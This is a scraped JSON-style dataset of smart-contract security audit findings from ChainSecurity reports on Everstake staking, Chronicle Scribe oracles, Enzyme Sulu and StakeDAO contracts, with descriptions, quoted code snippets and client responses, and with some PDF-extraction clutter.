InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrected \f8 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "8.1 Inconsistent Use of override and virtual", "body": " In solidity, it is not mandatory to use the override keyword when implementing a function from a parent interface. For the sake of consistency, either none or all implementations should be annotated with override. Additionally, Pool.setGovernor is set as virtual although no contract inherits from Pool. CS-EVERSTKB2C-006 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "8.2 The Sum of Shares Can Be Less Than the", "body": " Total Shares Supply Due to some rounding errors, the shares distributed to individual stakers for a given round might not match the total number of shares minted for that round, i.e. _amountToShare(X+Y+Z) >= _amountT oShare(X) + _amountToShare(Y) + _amountToShare(Z). The difference in value cannot be claimed by anyone. CS-EVERSTKB2C-007 Everstake - ETH B2C Staking - 33 InformationalVersion1InformationalVersion1 \f9 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "9.1 Deposited Amount Is Gifted if Less Than 1", "body": " Share Users should be aware that any amount resulting in less than a share will be a donation to the pool. Even though this should be avoided by the minimum stake constraint, it is possible to stake and unstake pending, leaving a small amount to be activated, which may result in 0 share. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "9.2 Users May Miss Rewards on Closed Validator", "body": " If some validator is expected to close, i.e. EXPECTED_CLOSE_VALIDATORS > 0, any rewards accumulated in the RewardsTreasury that is above 32ETH will be considered as a stake returned by a closing validator instead of a reward. So any staker withdrawing when one or more validators are expected to close and when 32ETH of staking rewards or more are available in the RewardsTreasury will miss that reward. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "9.3 Users May Not Be Fully Refunded in Case of", "body": " Slashing According to the Trust Model, Everstake plans to deploy an emergency treasury fund, but do not guarantee all the users to be fully refunded in case of slashing. Everstake states: We understand and don't neglect the risks related to slashing and we will have a special Emergency Treasury Fund - an Ethereum wallet address for Emergency Cases. Emergency Treasury fund will have some amount of Ethereum to cover at least partly possible unlikely slashing related issues. We also plan to send some defined share of Ethereum service fee received from the Pool by Everstake, approximately 10%. Example: Pool Service fee is 10% Emergency Treasury Fund share is 10% If all Validators within the Pool generated 10 000 ETH Then Everstake will receive 1 000 ETH as a Pool Service Fee And 100 ETH from Pool Service fee will be send to Emergency Treasury Fund Everstake - ETH B2C Staking - 34 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "5.1 Assessement of Finalized After Authed Action", "body": " CS-CSC-001 In ScribeOptimistic, _afterAuthedAction() will be called after every change to the parameters to drop opPokeData if it's not yet finalized. The evaluation whether the optimistic poke is finalized is done using the possibly new value for opChallengePeriod however. This has the following consequences: In case the new challenge period is bigger, _afterAuthedAction will evaluate the finality based on the increased challenge period. Consequently an already finalized opPokeData becomes challengeable again and may be dropped. In case the new challenge period is smaller, _afterAuthedAction will evaluate the finality based on the decreased challenge period. Consequently an previously un-finalized opPokeData will be regarded finalized immediately. Risk accepted: Chronicle has accepted the risk of finality reevaluation and states: The \"reevaluation of finality\" based on a possibly updated opChallengePeriod is accepted. We plan to update the challenge period in the beginning a few times to find \"the best\" reasonable value. Afterwards, we don't intend to update the challenge period anymore following a \"never stop a running system\" approach. Chronicle - Scribe - 13 SecurityDesignCorrectnessCriticalHighMediumRiskAcceptedLowRiskAcceptedRiskAcceptedRiskAcceptedCorrectnessMediumVersion1RiskAccepted \fFurthermore, the code has been adjusted that in case a finalized opPokeData is more recent than the _pokeData, it will also be pushed into _pokeData and deleted. This avoids resetting the challenge period for a finalized opPokeData. Chronicle states: _afterAuthedAction has been updated to ensure the challenge period of an opPoke is not reset, which would decrease the possible update frequency via opPoke (). This is achieved via either moving _opPokeData to _pokeData storage if _opPokeData is finalized and newer than _pokeData, or deleting opPokeData otherwise. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "5.2 Drop of opPoke if Authed Action Does Not", "body": " Update Anything setOpChallengePeriod(), setMaxChallengeReward(), and setBar() will always call _afterAuthedAction() to drop unfinalized opPokeData, even if the updated parameter is the same as the old parameter. CS-CSC-002 Risk accepted: Chronicle states: Skipping the afterAuthedAction in special cases changes the definition of the action, which is defined to be called after every authe'd configuration change. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "5.3 Lift Does Not Drop Unfinalized opPoke", "body": " ScribeOptimistic generally drops unfinalized optimistic poke data after the update of parameters to avoid any issues connected to an unexpected change of the verification result. _lift() is not overridden in ScribeOptimistic to call _afterAuthedAction() which drops the unfinalized opPokeData. This may allow not yet but soon to be feeds to sign the price update. CS-CSC-003 Assume Alice is not a member of the current feeds at t and t < t < t . 2 , Alice signs a price with other bar-1 feeds, and opPoke() it. 1 0 0 At t 0 At t 1 At t 2 , wards add Alice to the feeds. pokeData becomes valid. , one comes to challenge the opPokeData, the challenge fails (verification succeeds) and the In this example, Alice's signed data successfully passes the verification, though Alice has not been authorized at t , the time the price data was aggregated. 0 Risk accepted: Chronicle states: Chronicle - Scribe - 14 DesignLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \fThis is a valid issue from a theoretical point of view. However, practically we don't see any problems arising through this. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "5.4 Race of Feeds", "body": " Given the gas and runtime limitation, bar shouldn't be too large, whereas there could be 254 (maxFeeds) feeds at most. In case feeds' amount is larger than bar, feeds may form different subsets and sign with different views of the current price. As the price update frequency is at most once per block (limited by the freshness check of the pokeData.age), there could be a race case among the feeds. CS-CSC-004 Risk accepted: Chronicle states: The bar-to-feed ratio will be set conservatively, i.e. \"far more\" feeds than bar. While the relationship will always be that bar > #feeds/2 to ensure that only a consensus of >50% can advance the oracle to a new price, we want to have more feeds than bar to not risk downtime due to feeds being dropped. The current configuration is: 22 feeds with a bar of 13. Chronicle - Scribe - 15 SecurityLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Update Using Stale PokeData -Severity Findings Unreset opPokeData After Unsuccessful Challenge -Severity Findings Incorrect Formula in Docs Indexed Fields of Event Poked 0 1 1 2 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "6.1 Update Using Stale PokeData", "body": " In ScribeOptimistic an optimistic poke is considered finalized after the challenge period elapsed. If the optimistic poke (opPokeData.age) is finalized and more recent than the last stored poke data (pokeData.age), the pricefeed returns the optimistic value: CS-CSC-011 function _currentPokeData() internal view returns (PokeData memory) { // Load pokeData slots from storage. PokeData memory pokeData = _pokeData; PokeData memory opPokeData = _opPokeData; // Decide whether _opPokeData is finalized. bool opPokeDataFinalized = opPokeData.age + opChallengePeriod <= uint32(block.timestamp); // Decide and return current pokeData. if (opPokeDataFinalized && opPokeData.age > pokeData.age) { return opPokeData; } else { return pokeData; } } Scribe.poke(), the function to update the pricefeeds _pokeData, only checks whether the new value is more recent than the stored data. It does not check whether there is a more recent finalized optimistic poke: // Revert if pokeData stale. if (pokeData.age <= _pokeData.age) { Chronicle - Scribe - 16 CriticalHighCodeCorrectedMediumCodeCorrectedLowSpeci\ufb01cationChangedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f revert StaleMessage(pokeData.age, _pokeData.age); } This update is then stored with the current block.timestamp as age: // Store pokeData's val in _pokeData storage and set its age to now. _pokeData.val = pokeData.val; _pokeData.age = uint32(block.timestamp); Resulting a stale pokeData could be used to update the pricefeed. This issue arises in the state (_opPokeDate: finalized, _pokeData: set-older or uninitialized) _poke() has been marked as virtual in Scribe and overridden in ScribeOptimistic, where it checks the stored _pokeData and the recent finalized optimistic poke to determine the most recent age. Thus it prevents a stale pokeData to update the pricefeed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "6.2 Unreset opPokeData After Unsuccessful", "body": " Challenge In ScribeOptimistic, in an unsuccessful challenge (successful signature verification), opPokeData is finalized and pushed to _pokeData. _opPokeData remains unchanged however. This will block opPoke() even though the current opPokeData has been finalized until the challenge period is over. CS-CSC-009 if (ok) { // Decide whether _opPokeData stale already. bool opPokeDataStale = opPokeData.age <= _pokeData.age; // If _opPokeData not stale, finalize it by moving it to the // _pokeData storage. if (!opPokeDataStale) { _pokeData = _opPokeData; } emit OpPokeChallengedUnsuccessfully(msg.sender); } _opPokeData will be deleted in case it is verified successfully and is more fresh than the _pokeData. Thus, this finalized _opPokeData will not block a new opPoke() anymore. Chronicle - Scribe - 17 DesignMediumVersion1CodeCorrected \f6.3 Incorrect Formula in Docs In docs/Schnorr.md, the formula of re-computing challenge in signature verification is incorrect compared to the ones in signing and in code implementation. The order of the last two parameters is wrong. e = H(Px || Pp || Re || m) mod Q CS-CSC-012 Specification changed: The signature verification formula in docs/Schnorr.md has been corrected to align with the signing formula and the code implementation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "6.4 Indexed Fields of Event Poked", "body": " CS-CSC-008 /// @notice Emitted when oracle was successfully poked. /// @param caller The caller's address. /// @param val The value poked. /// @param age The age of the value poked. event Poked(address indexed caller, uint128 val, uint32 age); Indexing fields in events allows to easily search for certain events. The val and age of the event above are not indexed. Indexing e.g. the age field would allow off chain observers to easily search for prices in the past. The val and age of the event have been marked as indexed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "6.5 Gas Optimizations", "body": " getSignerIndexLength() could load the length by assembly. In _verifySchnorrSignature(), lift(), and drop() the counter i inside of the for loop can be increased in an unchecked scope, as it is always bounded. CS-CSC-010 There is no amount limitation of inputs for abi.encodePacked(), thus one invocation should and constructPokeMessage() parameters the all to in suffice _constructOpPokeMessage(). pack In _verifySchnorrSignature(), loading a public key at an index can be abstracted into another internal function to decrease code duplication. In _lift(), the require statement index <= maxFeeds can be moved into the if branch, as we only need to check the number of feeds when a new public key is added. Chronicle - Scribe - 18 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrectedInformationalVersion1CodeCorrected \f The first condition check (opPokeDataFinalized) can be removed in _opPoke(), as the function would already revert if it is false. if (!opPokeDataFinalized) { revert InChallengePeriod(); } uint32 age = opPokeDataFinalized && opPokeData.age > _pokeData.age ? opPokeData.age : _pokeData.age; In LibSchnorr, the following line can be wrapped in an unchecked scope. uint s = LibSecp256k1.Q() - mulmod(challenge, pubKey.x, LibSecp256k1.Q()); In addAffinePoint(), some intermediate results can be cached to avoid computing repeatedly. For example: uint left = mulmod(addmod(z1, h, _P), addmod(z1, h, _P), _P); uint v = mulmod(x1, mulmod(4, mulmod(h, h, _P), _P), _P); uint j = mulmod(4, mulmod(h, mulmod(h, h, _P), _P), _P); In addition, the following optimizations only work if the external view functions are called by a smart contract. In feeds(), the for loop counter i can start from 1 as the public key at index 0 is an zero point. And i can be increased in an unchecked scope. In feeds(uint index), the input index can be checked towards 0 for early revert. And the public key at a specific index is not loaded by assembly as before. Code has been corrected to adopt some of the optimizations. Chronicle - Scribe - 19 \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "7.1 Authed and Tolled May Return Array With", "body": " Duplicates authed() will return the existing wards addresses as an array. Upon rely() the address is inserted into the mapping and the array. Upon deny() the address is only reset in the mapping and not removed from the array. Consequently, in case an address is added, then removed, and later added back, authed() will return an array that contains a duplicate of this address. The same applies to tolled(). CS-CSC-005 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "7.2 Timestamp of PokeData Aggregation Equal to", "body": " Block.Timestamp Scribe._poke() rejects PokeData with timestamps in the future but accepts PokeData with block.timestamp. CS-CSC-006 // Revert if pokeData from the future. if (pokeData.age > uint32(block.timestamp)) { revert FutureMessage(pokeData.age, uint32(block.timestamp)); } It's a theoretical observation only with no impact in practice, but aggregating the price data and updating the data on chain seems infeasible. In practice when _poke() is executed it should hold block.timestamp > pokeData.age or the aggregation of the price data off chain likely happened for a timestamp (slightly) in the future. Acknowledged: Chronicle has acknowledged this theoretical observation with no impact in practice. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "7.3 Undropped schnorrData Commitment and", "body": " opFeedIndex CS-CSC-007 Chronicle - Scribe - 20 InformationalVersion1InformationalVersion1AcknowledgedInformationalVersion1Acknowledged \f_schnorrDataCommitment stores the schnorr data digest of an optimistically poked data, ensuring it will be challenged by the same schnorr signature later. opFeedIndex stores the feed who signs to endorse the opPokeData and the schnorr signature. Upon a successful challenge, these variables are not deleted consistently with the _opPokeData. However, as opPokeDataFinalized is computed by the following statement and opChallengePeriod is at most max(uint16), it would always be true after _opPokeData is deleted. Consequently double challenging an already dropped _opPokeData is not possible. bool opPokeDataFinalized = opPokeData.age + opChallengePeriod <= uint32(block.timestamp); Acknowledged: Chronicle states: You are correct in that we could drop the schnorrDataCommitment and opFeed Index. However, doing so will increase the costs of the subsequent opPoke as writing to zero-storage is more expensive than overwriting non-zero storage. Note furthermore, that the gas-stipend for emptying the storage is attributed to the opChallenge caller, i.e. a searcher. Therefore, cleaning the storage would practically give external entities a gas stipend that relays have to pay during the next opPoke(). Chronicle - Scribe - 21 \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "8.1 Considerations of pokeData.age", "body": " pokeData.age is interpreted differently at different stages. User submitted pokeData.age: it refers to the time it is generated offchain for freshness check and signature verification. Onchain stored pokeData.age: it refers to the time the offchain generated data is poked or opPoked onchain. In ScribeOptimistic, there could be a potential delay to read the most recent valid opPokeData.age, as it only takes effect after being finalized. In addition, systems integrate the ScribeOptimistic should aware that an old pokeData could be carried over to the current time (by updating the age to current block.timestamp) in following cases: A successful challenge (a failed verification) will drop the current opPokeData and advance the existing _pokeData.age to current block.timestamp. An update of the oracle parameters (setBar(), setOpChallengePeriod(), drop()) by the wards will always advance the valid most fresh pokeData.age to current block.timestamp. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "8.2 Decimals of Price Feed", "body": " Scribe oracles use 18 decimals for price values. Besides implementing own interfaces to read the price, the Chainlink interface is implemented to serve potential customer already integrating with Chainlink. Note that Chainlink usually uses 18 decimals for ETH denominated assets but 8 decimals for USD denominated assets. Hence projects need to be careful especially when switching from Chainlink USD based pricefeeds to Scribe. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "8.3 Implications Regarding the Value of Bar", "body": " setBar() incorporates a check to restrict the bar value from being set to zero. However, the upper boundary is only limited by the uint8 datatype, which is 255. The system can accommodate a maximum of 254 feeds (assuming no feed is ever removed). Therefore, if the bar is set to 255, the processing of any poke becomes unfeasible. Once the bar value crosses a certain threshold, verifying the aggregated signature may surpass the block gas limit, thereby rendering on-chain verification impossible. Dropping feeds (e.g. directly or in ScribeOptimistic after a successful challenge) may result in the number of feeds remaining being insufficient to cover bar. The privileged role is expected to set the value for bar correctly. Chronicle - Scribe - 22 NoteVersion1NoteVersion1NoteVersion1 \f8.4 Max 254 Feeds Over the Contracts Lifetime By design, a Scribe Pricefeed can have a maximum of 254 feeds added: Adding a new pricefeed pushes the public key into the _pubKeys array. Removing a price feed resets the pricefeeds public key entry to the zero point, however this does not free up the space. Feeds IDs are hence never reused but the tradeoff is the maximum number of possible feeds that can be added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "8.5 Penalty to Rogue Feeds", "body": " If a feed endorses an invalid schnorrData / pokeData combination in ScribeOptimistic, the feed will be dropped when challenged. In addition to dropping the feed, there is no more penalty to the feeds on the contract level. Chronicle states: Any kind of penalty regarding misbehaving feeds will be handled on the social layer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "8.6 Price Change", "body": " Systems that integrate with Scribe or ScribeOptimistic should be aware of the possible ways that can change the price (pokeData.val). Below we list occasions where the price can change immediately as well as some potential ways how this could be leveraged (i.e. bundled): Authenticated (in Scribe and ScribeOptimistic): _poke() invoked with a valid new pokeData and schnorr signature from feeds. The current price will advance to a new price. Wards (only in ScribeOptimistic): _afterAuthedAction() invoked by the wards which drops a previously finalized opPokeData according to the new challenge period. In case this dropped opPokeData is the freshest one, the current price will rollback to the _pokeData. Permissionless (only in ScribeOptimistic): onChallenge() which fresh opPokeData and pushes it to _pokeData. The current price will advance to the new price (opPokeData). Similarly, after an optimistic poke, anyone could execute poke() using this signed data to advance the price immediately. finalizes a valid When integrating with ScribeOptimistic projects must be aware that an optimistic price update is generally but not always subject to the challenge period delay: anyone may finalize it at any point during the challenge period. Chronicle - Scribe - 23 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/chronicle-scribe-makerdao/"}, {"title": "5.1 Liquity: Lack of Support for ", "body": " claimCollateral() 0 0 1 0 The technical documentation of Liquity writes the following: claimCollateral(address _user): when a borrower\u2019s Trove has been fully redeemed from and closed, or liquidated in Recovery Mode with a collateralization ratio above 110%, this function allows the borrower to claim their ETH collateral surplus that remains in the system (collateral - debt upon redemption; collateral - 110% of the debt upon liquidation). However, the Liquity position library does not support such an action. Hence, it could be possible that funds could become stuck in some situations (e.g. liquidations in recovery mode). Avantgarde Finance - Sulu Extensions - 9 DesignCriticalHighMediumLowDesignMediumVersion1 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Redundant While-loop Unstaking sOHM Leaves Dust 0 0 0 2 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-jan22/"}, {"title": "6.1 Redundant While-loop", "body": " curveLiquidityAdapter.__parseSpendAssetsForLendingCalls aims to detect the spent assets and the amounts of them so that they can be post-processed by the Integration Manager. It includes the following while-loop which should always terminate after one iteration. while (spendAssetsIndex < spendAssetsCount) { for (uint256 i; i < _orderedOutgoingAssetAmounts.length; i++) { if (_orderedOutgoingAssetAmounts[i] > 0) { spendAssets_[spendAssetsIndex] = __castWrappedIfNativeAsset( canonicalPoolAssets[i] ); spendAssetAmounts_[spendAssetsIndex] = _orderedOutgoingAssetAmounts[i]; spendAssetsIndex++; } } } Notice that spendAssetsIndex increases to the maximum value of spendAssetCount inside the for-loop. The while-loop been spendAssetsIndex == spendAssetsCount was added. removed while has an early exit of the for-loop when ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-jan22/"}, {"title": "6.2 Unstaking sOHM Leaves Dust", "body": " sOHM is a rebasing token, meaning that the number of tokens a vault has increases after each epoch. Sulu currently allows managers to define the number of sOHM tokens they want to unstake. Consider the following case: Avantgarde Finance - Sulu Extensions - 10 CriticalHighMediumLowCodeCorrectedCodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f A fund manager M wants to unstake all the sOHM the fund holds The fund manager submits a transaction where they unstake the total amount of the tokens A rebase happens and the number of sOHM increases The transaction is mined. This will lead to the fund holding a dusty amount of sOHM together with the unstaked OHM tokens. The code has been adapted to support unstaking the maximum amount when uint.max is specified as the unstake amount. Avantgarde Finance - Sulu Extensions - 11 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-jan22/"}, {"title": "7.1 Rewards in Different Gauge Version", "body": " CurveLiquidityAdapter is implemented in such a way so that it is compatible with version 2, 3 and 4 of the gauge tokens. When claim_rewards for the gauge tokens v2 and v3, rewards are accrued. However, this is not true for v4 where users should pass a specific argument for the rewards to be accrued. Avantgarde Finance - Sulu Extensions - 12 NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-jan22/"}, {"title": "5.1 Admin Set Too Early in ", "body": " LiquidityGaugeV4Strat The admin is transferred via a commit-accept scheme in LiquidityGaugeV4Strat. However, the scheme is bypassed by directly setting the new admin in commit_transfer_ownership: @external def commit_transfer_ownership(addr: address): \"\"\" StakeDAO - LiquidLockers - 10 DesignCorrectnessCriticalHighMediumAcknowledgedAcknowledgedLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedCorrectnessMediumVersion1Acknowledged \f @notice Transfer ownership of Gauge to `addr` @param addr Address to have ownership transferred to \"\"\" assert msg.sender == self.admin # dev: admin only assert addr != ZERO_ADDRESS # dev: future admin cannot be the 0 address self.future_admin = addr self.admin = addr log CommitOwnership(addr) While this doesn't compromise the security of the contract, it causes the emitted event to be incorrect and is misleading to users who don't believe an immediate transfer of ownership is possible. Furthermore, the function accept_transfer_ownership is made redundant if this behavior is intended. Acknowledged StakeDAO acknowledges the issue and noted that they had to implement this function for the factory contract so that it can transfer the admin of the contract in one transaction. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.2 Zero Address Reward Distributor", "body": " The add_reward functions in all gauge contracts do not check that the _distributor address is not the zero address. This is problematic as set_reward_distributor asserts that the distributor address is not zero. Therefore, if add_reward is called with the zero address as the _distributor parameter, a reward distributor can never be set for this reward token entry. Acknowledged StakeDAO acknowledges the issue without changes as they rate the chances as very low that the described issue happens. They state the issue only occurs when they add a reward distributor manually to the LiquidityGaugeV4. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.3 Functions Marked public Should Be", "body": " external The following functions are public but not called from within the corresponding contract. Hence, they should be marked external. AngleStrategy.deposit AngleStrategy.withdraw AngleVault.init AngleVault.deposit AngleVaultGUni.deposit BalancerVault.init StakeDAO - LiquidLockers - 11 CorrectnessMediumVersion1AcknowledgedDesignLowVersion1Acknowledged \f BalancerVault.deposit BalancerVault.provideLiquidityAndDeposit BalancerVault.withdraw CurveVault.init CurveVault.deposit Acknowledged Client acknowledges the issue without changing the code. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.4 Inconsistent Limits on Fees", "body": " The constraints for which fees can be set is inconsistent between strategies. For example, the AngleStrategy contract allows each individual fee to be as high as BASE_FEE, whereas the BalancerStrategy contract only allows the sum of all fees for a gauge to be as high as BASE_FEE. Acknowledged StakeDAO is aware of the issue and acknowledges it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.5 MANAGEFEE Enum Defined Multiple Times", "body": " The MANAGEFEE enum is defined once in each Strategy contract. It would be simpler and less error-prone to instead define it in the shared interface instead. Acknowledged StakeDAO is aware of the issues and acknowledges it. They might change it in future releases. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.6 Misleading Governance Addresses", "body": " A Strategy contracts calls its respective Locker contract in its deposit, withdraw and claim functions. It specifically calls the Locker's execute function, which has the onlyGovernance modifier. Any reasonable user would assume that onlyGovernance modifier means that the execute function could only be called by the governance contract. However, the Locker's governance address is instead set to the Strategy contract's address in order to allow this functionality. Acknowledged: StakeDAO - LiquidLockers - 12 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fAccording to StakeDAO, this is related to their flow. There are many layers of governance. The governance address of the Locker contract is the Strategy contract. The governance of the Strategy is the voter contract, which is a helper contract to facilitate on-chain voting and admin functionality. The voter contract is owned by a multisig. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.7 Missing Check if withdrawFee Is Zero", "body": " In the Angle vault contract's withdraw function a transfer to the governance contract is done to send potential fees. The transfer is also done if the fees are actually zero. Acknowledged: StakeDAO acknowledges this issue as it is only present in the AngleVault contract and has been fixed for other vault implementations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.8 Missing Events", "body": " Multiple functions perform important state changes without emitting an event. For example, the setter functions in the vault and strategy contracts. Acknowledged: StakeDAO does not see the necessity to emit these events and acknowledges the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.9 Missing Sanity Checks", "body": " There are multiple setter functions missing the address zero sanity check. toggleVault and all setter functions in AngleStrategy except for setVaultGaugeFactory Multiple setter functions in the different vault contracts Additionally, withdraw and deposit in LiquidityGaugeV4Strat can be called with _addr = 0. There are no limits imposed when setting the keeperFee and withdrawalFee for a vault. This allows setting an arbitrarily high fee, even above 1. Acknowledged StakeDAO states that they do the checks on their side. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.10 NatSpec Missing", "body": " StakeDAO - LiquidLockers - 13 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fMany contracts are missing NatSpec. Some only have partial or incomplete NatSpec. Acknowledged: StakeDAO is implementing NatSpec documentation in newer deployments. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.11 Non-indexed Events", "body": " The events in the following contracts signal important state updates which include addresses. The corresponding address is part of the event but not indexed. In liquidityGaugeV4Strat: UpdateLiquidityLimit CommitOwnership ApplyOwnership All Events in AngleVault, AngleVaultGUni, BalancerVault, CurveVault and BaseStrategy. Acknowledged: As indexed events cost more gas, StakeDAO decided not to add them but handle fetching and filtering events on their side. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.12 State Variable Could Be Immutable", "body": " The state variable token in the AngleVaultGUni contract could be made immutable to save gas. Acknowledged: StakeDAO will take this gas optimization into consideration in future implementations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.13 Superfluous Variable Assignment", "body": " The BalancerVault contract writes assets[i] = address(tokens[i]) in a loop. This variable assignment seems superfluous. Acknowledged: StakeDAO has decided to acknowledge this unnecessary gas consumption as it does not have any impacts on security. StakeDAO - LiquidLockers - 14 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f5.14 Unnecessary External Call to approve In AngleVault.deposit, BalancerVault.setLiquidityGauge and CurveVault.deposit the corresponding contract's approve function is called with an external call when an internal call could have been performed. Acknowledged: StakeDAO will consider changing this unnecessary external call to a function call in future implementations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.15 Unused Imports", "body": " Some contracts import code that is not used in the contract. E.g., AddressUpgradeable is imported in AngleVault and used in the using statement without ever using functionality from the library. Removing all unused imports and library contracts enhances the code quality and readability. Acknowledged: StakeDAO acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "5.16 Wrong Event Emitted", "body": " The Transfer event emitted at the end of the withdraw function in the LiquidityGaugeV4Strat contract has incorrect parameters. It emits msg.sender as the _from address instead of _addr. Acknowledged: StakeDAO acknowledges the issue. To track the correct event, they would track the vault's withdraw event. StakeDAO - LiquidLockers - 15 DesignLowVersion1AcknowledgedDesignLowVersion1AcknowledgedCorrectnessLowVersion1Acknowledged \f6 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "6.1 Inconsistent Withdraw Fees", "body": " When withdrawing from a Vault it matters if the vault currently has accumulated a token balance due to deposits being made without using the earn option. If the withdrawn amount is smaller than the balance, the users end up in a race condition to save the withdraw fees. ", "labels": ["ChainSecurity"], 